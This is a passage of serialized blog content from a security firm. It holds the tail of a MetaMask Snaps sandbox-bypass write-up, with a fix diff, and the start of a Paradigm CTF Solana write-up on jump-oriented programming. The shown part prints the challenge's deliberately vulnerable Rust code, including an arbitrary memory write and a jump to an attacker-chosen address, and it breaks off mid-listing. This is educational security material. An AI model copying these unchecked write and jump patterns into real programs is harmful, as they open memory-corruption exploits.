after.",{"type":24,"tag":85,"props":48000,"children":48002},{"id":48001},"mitigation",[48003],{"type":29,"value":48004},"Mitigation",{"type":24,"tag":25,"props":48006,"children":48007},{},[48008,48010,48015,48017,48024],{"type":29,"value":48009},"Metamask mitigated this issue by asserting the arguments after the ",{"type":24,"tag":135,"props":48011,"children":48013},{"className":48012},[],[48014],{"type":29,"value":46744},{"type":29,"value":48016}," function execution. The patch was introduced on commit ",{"type":24,"tag":32,"props":48018,"children":48021},{"href":48019,"rel":48020},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[36],[48022],{"type":29,"value":48023},"168ff08",{"type":29,"value":48025}," with the following changes:",{"type":24,"tag":261,"props":48027,"children":48029},{"className":263,"code":48028,"language":265,"meta":7,"style":7},"const request = async (args: RequestArguments) => {\n- assertEthereumOutboundRequest(args);\n- const sanitizedArgs = getSafeJson(args);\n+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+ assertEthereumOutboundRequest(sanitizedArgs);\n",[48030],{"type":24,"tag":135,"props":48031,"children":48032},{"__ignoreMap":7},[48033,48041,48049,48057,48065],{"type":24,"tag":271,"props":48034,"children":48035},{"class":273,"line":274},[48036],{"type":24,"tag":271,"props":48037,"children":48038},{"style":288},[48039],{"type":29,"value":48040},"const request = async (args: RequestArguments) => {\n",{"type":24,"tag":271,"props":48042,"children":48043},{"class":273,"line":284},[48044],{"type":24,"tag":271,"props":48045,"children":48046},{"style":378},[48047],{"type":29,"value":48048},"- assertEthereumOutboundRequest(args);\n",{"type":24,"tag":271,"props":48050,"children":48051},{"class":273,"line":294},[48052],{"type":24,"tag":271,"props":48053,"children":48054},{"style":378},[48055],{"type":29,"value":48056},"- const sanitizedArgs = getSafeJson(args);\n",{"type":24,"tag":271,"props":48058,"children":48059},{"class":273,"line":303},[48060],{"type":24,"tag":271,"props":48061,"children":48062},{"style":477},[48063],{"type":29,"value":48064},"+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":24,"tag":271,"props":48066,"children":48067},{"class":273,"line":312},[48068],{"type":24,"tag":271,"props":48069,"children":48070},{"style":477},[48071],{"type":29,"value":48072},"+ assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":24,"tag":62,"props":48074,"children":48075},{"id":10547},[48076],{"type":29,"value":10550},{"type":24,"tag":25,"props":48078,"children":48079},{},[48080],{"type":29,"value":48081},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":24,"tag":25,"props":48083,"children":48084},{},[48085],{"type":29,"value":48086},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":24,"tag":10562,"props":48088,"children":48089},{},[48090],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":48092},[48093,48094,48101,48109],{"id":26648,"depth":284,"text":26651},{"id":43120,"depth":284,"text":43123,"children":48095},[48096,48097,48098,48099,48100],{"id":43131,"depth":294,"text":43134},{"id":43199,"depth":294,"text":43202},{"id":43235,"depth":294,"text":43238},{"id":44631,"depth":294,"text":44634},{"id":44989,"depth":294,"text":44992},{"id":45776,"depth":284,"text":45779,"children":48102},[48103,48104,48105,48106,48107,48108],{"id":45782,"depth":294,"text":45785},{"id":45826,"depth":294,"text":45829},{"id":46730,"depth":294,"text":46733},{"id":13380,"depth":294,"text":13383},{"id":47172,"depth":294,"text":42497},{"id":48001,"depth":294,"text":48004},{"id":10547,"depth":284,"text":10550},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":48114,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48115,"description":48116,"author":48117,"image":48119,"date":48121,"isFeatured":16,"onBlogPage":16,"body":48122,"_type":10599,"_id":53538,"_source":10601,"_file":53539,"_stem":53540,"_extension":10604},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[48118,13438],"nicola",{"src":48120},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":21,"children":48123,"toc":53527},[48124,48138,48158,48163,48167,48180,48205,48211,48216,48231,48584,48599,48864,48880,49523,49529,49534,49547,49555,49766,49774,50077,50085,50228,50236,50761,50767,50779,50792,50806,50811,51578,51583,51591,51596,51602,51614,51679,51684,51697,51710,51716,51744,52894,52907,52949,52954,52959,52973,53113,53134,53155,53162,53213,53221,53232,53245,53250,53374,53387,53489,53493,53506,53511,53523],{"type":24,"tag":25,"props":48125,"children":48126},{},[48127,48129,48136],{"type":29,"value":48128},"In the world of CTFs, ",{"type":24,"tag":32,"props":48130,"children":48133},{"href":48131,"rel":48132},"https://twitter.com/paradigm_ctf",[36],[48134],{"type":29,"value":48135},"Paradigm CTF 2023",{"type":29,"value":48137}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":24,"tag":25,"props":48139,"children":48140},{},[48141,48143,48150,48151],{"type":29,"value":48142},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":24,"tag":32,"props":48144,"children":48147},{"href":48145,"rel":48146},"https://osec.io/blog/2022-03-14-solana-security-intro",[36],[48148],{"type":29,"value":48149},"Solana: An Auditor's Introduction",{"type":29,"value":518},{"type":24,"tag":32,"props":48152,"children":48155},{"href":48153,"rel":48154},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[36],[48156],{"type":29,"value":48157},"Reverse Engineering Solana with Binary Ninja.\n",{"type":24,"tag":25,"props":48159,"children":48160},{},[48161],{"type":29,"value":48162},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":24,"tag":62,"props":48164,"children":48165},{"id":26648},[48166],{"type":29,"value":26651},{"type":24,"tag":25,"props":48168,"children":48169},{},[48170,48172,48178],{"type":29,"value":48171},"The challenge itself resides into ",{"type":24,"tag":135,"props":48173,"children":48175},{"className":48174},[],[48176],{"type":29,"value":48177},"framework/",{"type":29,"value":48179},", and is composed of 2 parts:",{"type":24,"tag":97,"props":48181,"children":48182},{},[48183,48194],{"type":24,"tag":101,"props":48184,"children":48185},{},[48186,48192],{"type":24,"tag":135,"props":48187,"children":48189},{"className":48188},[],[48190],{"type":29,"value":48191},"framework/chall/lib.rs",{"type":29,"value":48193},": The on-chain eBPF program that needs to be exploited.",{"type":24,"tag":101,"props":48195,"children":48196},{},[48197,48203],{"type":24,"tag":135,"props":48198,"children":48200},{"className":48199},[],[48201],{"type":29,"value":48202},"framework/src/main.rs",{"type":29,"value":48204},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":24,"tag":85,"props":48206,"children":48208},{"id":48207},"vulnerable-program",[48209],{"type":29,"value":48210},"Vulnerable Program",{"type":24,"tag":25,"props":48212,"children":48213},{},[48214],{"type":29,"value":48215},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":24,"tag":3834,"props":48217,"children":48218},{},[48219],{"type":24,"tag":101,"props":48220,"children":48221},{},[48222,48223,48229],{"type":29,"value":15196},{"type":24,"tag":135,"props":48224,"children":48226},{"className":48225},[],[48227],{"type":29,"value":48228},"data[0] == 0",{"type":29,"value":48230}," a function that lets you write-what-where is executed",{"type":24,"tag":261,"props":48232,"children":48234},{"className":10718,"code":48233,"language":10717,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr.write_volatile(val);\n }\n}\n",[48235],{"type":24,"tag":135,"props":48236,"children":48237},{"__ignoreMap":7},[48238,48246,48291,48302,48425,48541,48570,48577],{"type":24,"tag":271,"props":48239,"children":48240},{"class":273,"line":274},[48241],{"type":24,"tag":271,"props":48242,"children":48243},{"style":288},[48244],{"type":29,"value":48245},"#[inline(never)]\n",{"type":24,"tag":271,"props":48247,"children":48248},{"class":273,"line":284},[48249,48253,48257,48262,48266,48270,48274,48278,48282,48286],{"type":24,"tag":271,"props":48250,"children":48251},{"style":278},[48252],{"type":29,"value":21391},{"type":24,"tag":271,"props":48254,"children":48255},{"style":278},[48256],{"type":29,"value":21396},{"type":24,"tag":271,"props":48258,"children":48259},{"style":598},[48260],{"type":29,"value":48261}," write",{"type":24,"tag":271,"props":48263,"children":48264},{"style":288},[48265],{"type":29,"value":606},{"type":24,"tag":271,"props":48267,"children":48268},{"style":630},[48269],{"type":29,"value":8590},{"type":24,"tag":271,"props":48271,"children":48272},{"style":624},[48273],{"type":29,"value":12210},{"type":24,"tag":271,"props":48275,"children":48276},{"style":624},[48277],{"type":29,"value":14858},{"type":24,"tag":271,"props":48279,"children":48280},{"style":288},[48281],{"type":29,"value":4520},{"type":24,"tag":271,"props":48283,"children":48284},{"style":3887},[48285],{"type":29,"value":11148},{"type":24,"tag":271,"props":48287,"children":48288},{"style":288},[48289],{"type":29,"value":48290},"]) {\n",{"type":24,"tag":271,"props":48292,"children":48293},{"class":273,"line":294},[48294,48298],{"type":24,"tag":271,"props":48295,"children":48296},{"style":278},[48297],{"type":29,"value":21533},{"type":24,"tag":271,"props":48299,"children":48300},{"style":288},[48301],{"type":29,"value":7145},{"type":24,"tag":271,"props":48303,"children":48304},{"class":273,"line":303},[48305,48309,48313,48317,48322,48326,48331,48335,48340,48344,48349,48353,48357,48361,48365,48369,48373,48377,48381,48385,48389,48393,48397,48401,48405,48409,48413,48417,48421],{"type":24,"tag":271,"props":48306,"children":48307},{"style":278},[48308],{"type":29,"value":10800},{"type":24,"tag":271,"props":48310,"children":48311},{"style":630},[48312],{"type":29,"value":21557},{"type":24,"tag":271,"props":48314,"children":48315},{"style":624},[48316],{"type":29,"value":1712},{"type":24,"tag":271,"props":48318,"children":48319},{"style":288},[48320],{"type":29,"value":48321}," std",{"type":24,"tag":271,"props":48323,"children":48324},{"style":624},[48325],{"type":29,"value":11207},{"type":24,"tag":271,"props":48327,"children":48328},{"style":288},[48329],{"type":29,"value":48330},"mem",{"type":24,"tag":271,"props":48332,"children":48333},{"style":624},[48334],{"type":29,"value":11207},{"type":24,"tag":271,"props":48336,"children":48337},{"style":598},[48338],{"type":29,"value":48339},"transmute",{"type":24,"tag":271,"props":48341,"children":48342},{"style":624},[48343],{"type":29,"value":11207},{"type":24,"tag":271,"props":48345,"children":48346},{"style":288},[48347],{"type":29,"value":48348},"\u003C[",{"type":24,"tag":271,"props":48350,"children":48351},{"style":3887},[48352],{"type":29,"value":11148},{"type":24,"tag":271,"props":48354,"children":48355},{"style":288},[48356],{"type":29,"value":24920},{"type":24,"tag":271,"props":48358,"children":48359},{"style":477},[48360],{"type":29,"value":7670},{"type":24,"tag":271,"props":48362,"children":48363},{"style":288},[48364],{"type":29,"value":8505},{"type":24,"tag":271,"props":48366,"children":48367},{"style":624},[48368],{"type":29,"value":627},{"type":24,"tag":271,"props":48370,"children":48371},{"style":278},[48372],{"type":29,"value":11448},{"type":24,"tag":271,"props":48374,"children":48375},{"style":3887},[48376],{"type":29,"value":13576},{"type":24,"tag":271,"props":48378,"children":48379},{"style":288},[48380],{"type":29,"value":15327},{"type":24,"tag":271,"props":48382,"children":48383},{"style":630},[48384],{"type":29,"value":8590},{"type":24,"tag":271,"props":48386,"children":48387},{"style":288},[48388],{"type":29,"value":4520},{"type":24,"tag":271,"props":48390,"children":48391},{"style":624},[48392],{"type":29,"value":10787},{"type":24,"tag":271,"props":48394,"children":48395},{"style":477},[48396],{"type":29,"value":7670},{"type":24,"tag":271,"props":48398,"children":48399},{"style":288},[48400],{"type":29,"value":23108},{"type":24,"tag":271,"props":48402,"children":48403},{"style":624},[48404],{"type":29,"value":41},{"type":24,"tag":271,"props":48406,"children":48407},{"style":598},[48408],{"type":29,"value":33838},{"type":24,"tag":271,"props":48410,"children":48411},{"style":288},[48412],{"type":29,"value":21579},{"type":24,"tag":271,"props":48414,"children":48415},{"style":624},[48416],{"type":29,"value":41},{"type":24,"tag":271,"props":48418,"children":48419},{"style":598},[48420],{"type":29,"value":11391},{"type":24,"tag":271,"props":48422,"children":48423},{"style":288},[48424],{"type":29,"value":23122},{"type":24,"tag":271,"props":48426,"children":48427},{"class":273,"line":312},[48428,48432,48437,48441,48445,48449,48453,48457,48461,48465,48469,48473,48477,48481,48485,48489,48493,48497,48501,48505,48509,48513,48517,48521,48525,48529,48533,48537],{"type":24,"tag":271,"props":48429,"children":48430},{"style":278},[48431],{"type":29,"value":10800},{"type":24,"tag":271,"props":48433,"children":48434},{"style":630},[48435],{"type":29,"value":48436}," val",{"type":24,"tag":271,"props":48438,"children":48439},{"style":624},[48440],{"type":29,"value":1712},{"type":24,"tag":271,"props":48442,"children":48443},{"style":288},[48444],{"type":29,"value":48321},{"type":24,"tag":271,"props":48446,"children":48447},{"style":624},[48448],{"type":29,"value":11207},{"type":24,"tag":271,"props":48450,"children":48451},{"style":288},[48452],{"type":29,"value":48330},{"type":24,"tag":271,"props":48454,"children":48455},{"style":624},[48456],{"type":29,"value":11207},{"type":24,"tag":271,"props":48458,"children":48459},{"style":598},[48460],{"type":29,"value":48339},{"type":24,"tag":271,"props":48462,"children":48463},{"style":624},[48464],{"type":29,"value":11207},{"type":24,"tag":271,"props":48466,"children":48467},{"style":288},[48468],{"type":29,"value":48348},{"type":24,"tag":271,"props":48470,"children":48471},{"style":3887},[48472],{"type":29,"value":11148},{"type":24,"tag":271,"props":48474,"children":48475},{"style":288},[48476],{"type":29,"value":24920},{"type":24,"tag":271,"props":48478,"children":48479},{"style":477},[48480],{"type":29,"value":7670},{"type":24,"tag":271,"props":48482,"children":48483},{"style":288},[48484],{"type":29,"value":8505},{"type":24,"tag":271,"props":48486,"children":48487},{"style":3887},[48488],{"type":29,"value":15757},{"type":24,"tag":271,"props":48490,"children":48491},{"style":288},[48492],{"type":29,"value":15327},{"type":24,"tag":271,"props":48494,"children":48495},{"style":630},[48496],{"type":29,"value":8590},{"type":24,"tag":271,"props":48498,"children":48499},{"style":288},[48500],{"type":29,"value":4520},{"type":24,"tag":271,"props":48502,"children":48503},{"style":477},[48504],{"type":29,"value":7670},{"type":24,"tag":271,"props":48506,"children":48507},{"style":624},[48508],{"type":29,"value":10787},{"type":24,"tag":271,"props":48510,"children":48511},{"style":477},[48512],{"type":29,"value":3993},{"type":24,"tag":271,"props":48514,"children":48515},{"style":288},[48516],{"type":29,"value":23108},{"type":24,"tag":271,"props":48518,"children":48519},{"style":624},[48520],{"type":29,"value":41},{"type":24,"tag":271,"props":48522,"children":48523},{"style":598},[48524],{"type":29,"value":33838},{"type":24,"tag":271,"props":48526,"children":48527},{"style":288},[48528],{"type":29,"value":21579},{"type":24,"tag":271,"props":48530,"children":48531},{"style":624},[48532],{"type":29,"value":41},{"type":24,"tag":271,"props":48534,"children":48535},{"style":598},[48536],{"type":29,"value":11391},{"type":24,"tag":271,"props":48538,"children":48539},{"style":288},[48540],{"type":29,"value":23122},{"type":24,"tag":271,"props":48542,"children":48543},{"class":273,"line":321},[48544,48549,48553,48558,48562,48566],{"type":24,"tag":271,"props":48545,"children":48546},{"style":630},[48547],{"type":29,"value":48548}," ptr",{"type":24,"tag":271,"props":48550,"children":48551},{"style":624},[48552],{"type":29,"value":41},{"type":24,"tag":271,"props":48554,"children":48555},{"style":598},[48556],{"type":29,"value":48557},"write_volatile",{"type":24,"tag":271,"props":48559,"children":48560},{"style":288},[48561],{"type":29,"value":606},{"type":24,"tag":271,"props":48563,"children":48564},{"style":630},[48565],{"type":29,"value":20333},{"type":24,"tag":271,"props":48567,"children":48568},{"style":288},[48569],{"type":29,"value":1155},{"type":24,"tag":271,"props":48571,"children":48572},{"class":273,"line":330},[48573],{"type":24,"tag":271,"props":48574,"children":48575},{"style":288},[48576],{"type":29,"value":4385},{"type":24,"tag":271,"props":48578,"children":48579},{"class":273,"line":339},[48580],{"type":24,"tag":271,"props":48581,"children":48582},{"style":288},[48583],{"type":29,"value":1171},{"type":24,"tag":3834,"props":48585,"children":48586},{"start":284},[48587],{"type":24,"tag":101,"props":48588,"children":48589},{},[48590,48591,48597],{"type":29,"value":15196},{"type":24,"tag":135,"props":48592,"children":48594},{"className":48593},[],[48595],{"type":29,"value":48596},"data[0] == 1",{"type":29,"value":48598},", a CPI to a non-existent program is executed:",{"type":24,"tag":261,"props":48600,"children":48602},{"className":10718,"code":48601,"language":10717,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n let ix = Instruction {\n program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n data: data.try_into().unwrap(),\n accounts: vec![]\n };\n\n invoke_signed_unchecked(\n &ix,\n &[],\n &[],\n ).unwrap();\n}\n",[48603],{"type":24,"tag":135,"props":48604,"children":48605},{"__ignoreMap":7},[48606,48613,48657,48682,48712,48752,48773,48780,48787,48799,48815,48827,48838,48857],{"type":24,"tag":271,"props":48607,"children":48608},{"class":273,"line":274},[48609],{"type":24,"tag":271,"props":48610,"children":48611},{"style":288},[48612],{"type":29,"value":48245},{"type":24,"tag":271,"props":48614,"children":48615},{"class":273,"line":284},[48616,48620,48624,48629,48633,48637,48641,48645,48649,48653],{"type":24,"tag":271,"props":48617,"children":48618},{"style":278},[48619],{"type":29,"value":21391},{"type":24,"tag":271,"props":48621,"children":48622},{"style":278},[48623],{"type":29,"value":21396},{"type":24,"tag":271,"props":48625,"children":48626},{"style":598},[48627],{"type":29,"value":48628}," call",{"type":24,"tag":271,"props":48630,"children":48631},{"style":288},[48632],{"type":29,"value":606},{"type":24,"tag":271,"props":48634,"children":48635},{"style":630},[48636],{"type":29,"value":8590},{"type":24,"tag":271,"props":48638,"children":48639},{"style":624},[48640],{"type":29,"value":12210},{"type":24,"tag":271,"props":48642,"children":48643},{"style":624},[48644],{"type":29,"value":14858},{"type":24,"tag":271,"props":48646,"children":48647},{"style":288},[48648],{"type":29,"value":4520},{"type":24,"tag":271,"props":48650,"children":48651},{"style":3887},[48652],{"type":29,"value":11148},{"type":24,"tag":271,"props":48654,"children":48655},{"style":288},[48656],{"type":29,"value":48290},{"type":24,"tag":271,"props":48658,"children":48659},{"class":273,"line":294},[48660,48664,48669,48673,48678],{"type":24,"tag":271,"props":48661,"children":48662},{"style":278},[48663],{"type":29,"value":10738},{"type":24,"tag":271,"props":48665,"children":48666},{"style":630},[48667],{"type":29,"value":48668}," ix",{"type":24,"tag":271,"props":48670,"children":48671},{"style":624},[48672],{"type":29,"value":1712},{"type":24,"tag":271,"props":48674,"children":48675},{"style":3887},[48676],{"type":29,"value":48677}," Instruction",{"type":24,"tag":271,"props":48679,"children":48680},{"style":288},[48681],{"type":29,"value":7145},{"type":24,"tag":271,"props":48683,"children":48684},{"class":273,"line":303},[48685,48690,48694,48699,48703,48708],{"type":24,"tag":271,"props":48686,"children":48687},{"style":630},[48688],{"type":29,"value":48689}," program_id",{"type":24,"tag":271,"props":48691,"children":48692},{"style":624},[48693],{"type":29,"value":12210},{"type":24,"tag":271,"props":48695,"children":48696},{"style":598},[48697],{"type":29,"value":48698}," pubkey!",{"type":24,"tag":271,"props":48700,"children":48701},{"style":288},[48702],{"type":29,"value":606},{"type":24,"tag":271,"props":48704,"children":48705},{"style":378},[48706],{"type":29,"value":48707},"\"osecio5555555555555551111111111111111111111\"",{"type":24,"tag":271,"props":48709,"children":48710},{"style":288},[48711],{"type":29,"value":14453},{"type":24,"tag":271,"props":48713,"children":48714},{"class":273,"line":312},[48715,48720,48724,48728,48732,48736,48740,48744,48748],{"type":24,"tag":271,"props":48716,"children":48717},{"style":630},[48718],{"type":29,"value":48719}," data",{"type":24,"tag":271,"props":48721,"children":48722},{"style":624},[48723],{"type":29,"value":12210},{"type":24,"tag":271,"props":48725,"children":48726},{"style":630},[48727],{"type":29,"value":8123},{"type":24,"tag":271,"props":48729,"children":48730},{"style":624},[48731],{"type":29,"value":41},{"type":24,"tag":271,"props":48733,"children":48734},{"style":598},[48735],{"type":29,"value":33838},{"type":24,"tag":271,"props":48737,"children":48738},{"style":288},[48739],{"type":29,"value":21579},{"type":24,"tag":271,"props":48741,"children":48742},{"style":624},[48743],{"type":29,"value":41},{"type":24,"tag":271,"props":48745,"children":48746},{"style":598},[48747],{"type":29,"value":11391},{"type":24,"tag":271,"props":48749,"children":48750},{"style":288},[48751],{"type":29,"value":11217},{"type":24,"tag":271,"props":48753,"children":48754},{"class":273,"line":321},[48755,48760,48764,48768],{"type":24,"tag":271,"props":48756,"children":48757},{"style":630},[48758],{"type":29,"value":48759}," accounts",{"type":24,"tag":271,"props":48761,"children":48762},{"style":624},[48763],{"type":29,"value":12210},{"type":24,"tag":271,"props":48765,"children":48766},{"style":598},[48767],{"type":29,"value":11453},{"type":24,"tag":271,"props":48769,"children":48770},{"style":288},[48771],{"type":29,"value":48772},"[]\n",{"type":24,"tag":271,"props":48774,"children":48775},{"class":273,"line":330},[48776],{"type":24,"tag":271,"props":48777,"children":48778},{"style":288},[48779],{"type":29,"value":46665},{"type":24,"tag":271,"props":48781,"children":48782},{"class":273,"line":339},[48783],{"type":24,"tag":271,"props":48784,"children":48785},{"emptyLinePlaceholder":16},[48786],{"type":29,"value":327},{"type":24,"tag":271,"props":48788,"children":48789},{"class":273,"line":347},[48790,48795],{"type":24,"tag":271,"props":48791,"children":48792},{"style":598},[48793],{"type":29,"value":48794}," invoke_signed_unchecked",{"type":24,"tag":271,"props":48796,"children":48797},{"style":288},[48798],{"type":29,"value":4028},{"type":24,"tag":271,"props":48800,"children":48801},{"class":273,"line":356},[48802,48806,48811],{"type":24,"tag":271,"props":48803,"children":48804},{"style":624},[48805],{"type":29,"value":11197},{"type":24,"tag":271,"props":48807,"children":48808},{"style":630},[48809],{"type":29,"value":48810},"ix",{"type":24,"tag":271,"props":48812,"children":48813},{"style":288},[48814],{"type":29,"value":638},{"type":24,"tag":271,"props":48816,"children":48817},{"class":273,"line":365},[48818,48822],{"type":24,"tag":271,"props":48819,"children":48820},{"style":624},[48821],{"type":29,"value":11197},{"type":24,"tag":271,"props":48823,"children":48824},{"style":288},[48825],{"type":29,"value":48826},"[],\n",{"type":24,"tag":271,"props":48828,"children":48829},{"class":273,"line":374},[48830,48834],{"type":24,"tag":271,"props":48831,"children":48832},{"style":624},[48833],{"type":29,"value":11197},{"type":24,"tag":271,"props":48835,"children":48836},{"style":288},[48837],{"type":29,"value":48826},{"type":24,"tag":271,"props":48839,"children":48840},{"class":273,"line":384},[48841,48845,48849,48853],{"type":24,"tag":271,"props":48842,"children":48843},{"style":288},[48844],{"type":29,"value":11382},{"type":24,"tag":271,"props":48846,"children":48847},{"style":624},[48848],{"type":29,"value":41},{"type":24,"tag":271,"props":48850,"children":48851},{"style":598},[48852],{"type":29,"value":11391},{"type":24,"tag":271,"props":48854,"children":48855},{"style":288},[48856],{"type":29,"value":4230},{"type":24,"tag":271,"props":48858,"children":48859},{"class":273,"line":393},[48860],{"type":24,"tag":271,"props":48861,"children":48862},{"style":288},[48863],{"type":29,"value":1171},{"type":24,"tag":3834,"props":48865,"children":48866},{"start":294},[48867],{"type":24,"tag":101,"props":48868,"children":48869},{},[48870,48872,48878],{"type":29,"value":48871},"Finally, if ",{"type":24,"tag":135,"props":48873,"children":48875},{"className":48874},[],[48876],{"type":29,"value":48877},"data[0]",{"type":29,"value":48879}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":24,"tag":261,"props":48881,"children":48883},{"className":10718,"code":48882,"language":10717,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n\n data = &data[16..];\n\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n }\n}\n",[48884],{"type":24,"tag":135,"props":48885,"children":48886},{"__ignoreMap":7},[48887,48894,48942,48953,49073,49188,49207,49214,49249,49256,49375,49490,49509,49516],{"type":24,"tag":271,"props":48888,"children":48889},{"class":273,"line":274},[48890],{"type":24,"tag":271,"props":48891,"children":48892},{"style":288},[48893],{"type":29,"value":48245},{"type":24,"tag":271,"props":48895,"children":48896},{"class":273,"line":284},[48897,48901,48905,48910,48914,48918,48922,48926,48930,48934,48938],{"type":24,"tag":271,"props":48898,"children":48899},{"style":278},[48900],{"type":29,"value":21391},{"type":24,"tag":271,"props":48902,"children":48903},{"style":278},[48904],{"type":29,"value":21396},{"type":24,"tag":271,"props":48906,"children":48907},{"style":598},[48908],{"type":29,"value":48909}," process",{"type":24,"tag":271,"props":48911,"children":48912},{"style":288},[48913],{"type":29,"value":606},{"type":24,"tag":271,"props":48915,"children":48916},{"style":278},[48917],{"type":29,"value":11448},{"type":24,"tag":271,"props":48919,"children":48920},{"style":630},[48921],{"type":29,"value":8123},{"type":24,"tag":271,"props":48923,"children":48924},{"style":624},[48925],{"type":29,"value":12210},{"type":24,"tag":271,"props":48927,"children":48928},{"style":624},[48929],{"type":29,"value":14858},{"type":24,"tag":271,"props":48931,"children":48932},{"style":288},[48933],{"type":29,"value":4520},{"type":24,"tag":271,"props":48935,"children":48936},{"style":3887},[48937],{"type":29,"value":11148},{"type":24,"tag":271,"props":48939,"children":48940},{"style":288},[48941],{"type":29,"value":48290},{"type":24,"tag":271,"props":48943,"children":48944},{"class":273,"line":294},[48945,48949],{"type":24,"tag":271,"props":48946,"children":48947},{"style":278},[48948],{"type":29,"value":21533},{"type":24,"tag":271,"props":48950,"children":48951},{"style":288},[48952],{"type":29,"value":7145},{"type":24,"tag":271,"props":48954,"children":48955},{"class":273,"line":303},[48956,48960,48964,48968,48972,48976,48980,48984,48988,48992,48996,49000,49004,49008,49012,49016,49020,49024,49029,49033,49037,49041,49045,49049,49053,49057,49061,49065,49069],{"type":24,"tag":271,"props":48957,"children":48958},{"style":278},[48959],{"type":29,"value":10800},{"type":24,"tag":271,"props":48961,"children":48962},{"style":630},[48963],{"type":29,"value":21557},{"type":24,"tag":271,"props":48965,"children":48966},{"style":624},[48967],{"type":29,"value":1712},{"type":24,"tag":271,"props":48969,"children":48970},{"style":288},[48971],{"type":29,"value":48321},{"type":24,"tag":271,"props":48973,"children":48974},{"style":624},[48975],{"type":29,"value":11207},{"type":24,"tag":271,"props":48977,"children":48978},{"style":288},[48979],{"type":29,"value":48330},{"type":24,"tag":271,"props":48981,"children":48982},{"style":624},[48983],{"type":29,"value":11207},{"type":24,"tag":271,"props":48985,"children":48986},{"style":598},[48987],{"type":29,"value":48339},{"type":24,"tag":271,"props":48989,"children":48990},{"style":624},[48991],{"type":29,"value":11207},{"type":24,"tag":271,"props":48993,"children":48994},{"style":288},[48995],{"type":29,"value":48348},{"type":24,"tag":271,"props":48997,"children":48998},{"style":3887},[48999],{"type":29,"value":11148},{"type":24,"tag":271,"props":49001,"children":49002},{"style":288},[49003],{"type":29,"value":24920},{"type":24,"tag":271,"props":49005,"children":49006},{"style":477},[49007],{"type":29,"value":7670},{"type":24,"tag":271,"props":49009,"children":49010},{"style":288},[49011],{"type":29,"value":8505},{"type":24,"tag":271,"props":49013,"children":49014},{"style":278},[49015],{"type":29,"value":27955},{"type":24,"tag":271,"props":49017,"children":49018},{"style":288},[49019],{"type":29,"value":606},{"type":24,"tag":271,"props":49021,"children":49022},{"style":3887},[49023],{"type":29,"value":15757},{"type":24,"tag":271,"props":49025,"children":49026},{"style":288},[49027],{"type":29,"value":49028},")>(",{"type":24,"tag":271,"props":49030,"children":49031},{"style":630},[49032],{"type":29,"value":8590},{"type":24,"tag":271,"props":49034,"children":49035},{"style":288},[49036],{"type":29,"value":4520},{"type":24,"tag":271,"props":49038,"children":49039},{"style":624},[49040],{"type":29,"value":10787},{"type":24,"tag":271,"props":49042,"children":49043},{"style":477},[49044],{"type":29,"value":7670},{"type":24,"tag":271,"props":49046,"children":49047},{"style":288},[49048],{"type":29,"value":23108},{"type":24,"tag":271,"props":49050,"children":49051},{"style":624},[49052],{"type":29,"value":41},{"type":24,"tag":271,"props":49054,"children":49055},{"style":598},[49056],{"type":29,"value":33838},{"type":24,"tag":271,"props":49058,"children":49059},{"style":288},[49060],{"type":29,"value":21579},{"type":24,"tag":271,"props":49062,"children":49063},{"style":624},[49064],{"type":29,"value":41},{"type":24,"tag":271,"props":49066,"children":49067},{"style":598},[49068],{"type":29,"value":11391},{"type":24,"tag":271,"props":49070,"children":49071},{"style":288},[49072],{"type":29,"value":23122},{"type":24,"tag":271,"props":49074,"children":49075},{"class":273,"line":312},[49076,49080,49084,49088,49092,49096,49100,49104,49108,49112,49116,49120,49124,49128,49132,49136,49140,49144,49148,49152,49156,49160,49164,49168,49172,49176,49180,49184],{"type":24,"tag":271,"props":49077,"children":49078},{"style":278},[49079],{"type":29,"value":10800},{"type":24,"tag":271,"props":49081,"children":49082},{"style":630},[49083],{"type":29,"value":48436},{"type":24,"tag":271,"props":49085,"children":49086},{"style":624},[49087],{"type":29,"value":1712},{"type":24,"tag":271,"props":49089,"children":49090},{"style":288},[49091],{"type":29,"value":48321},{"type":24,"tag":271,"props":49093,"children":49094},{"style":624},[49095],{"type":29,"value":11207}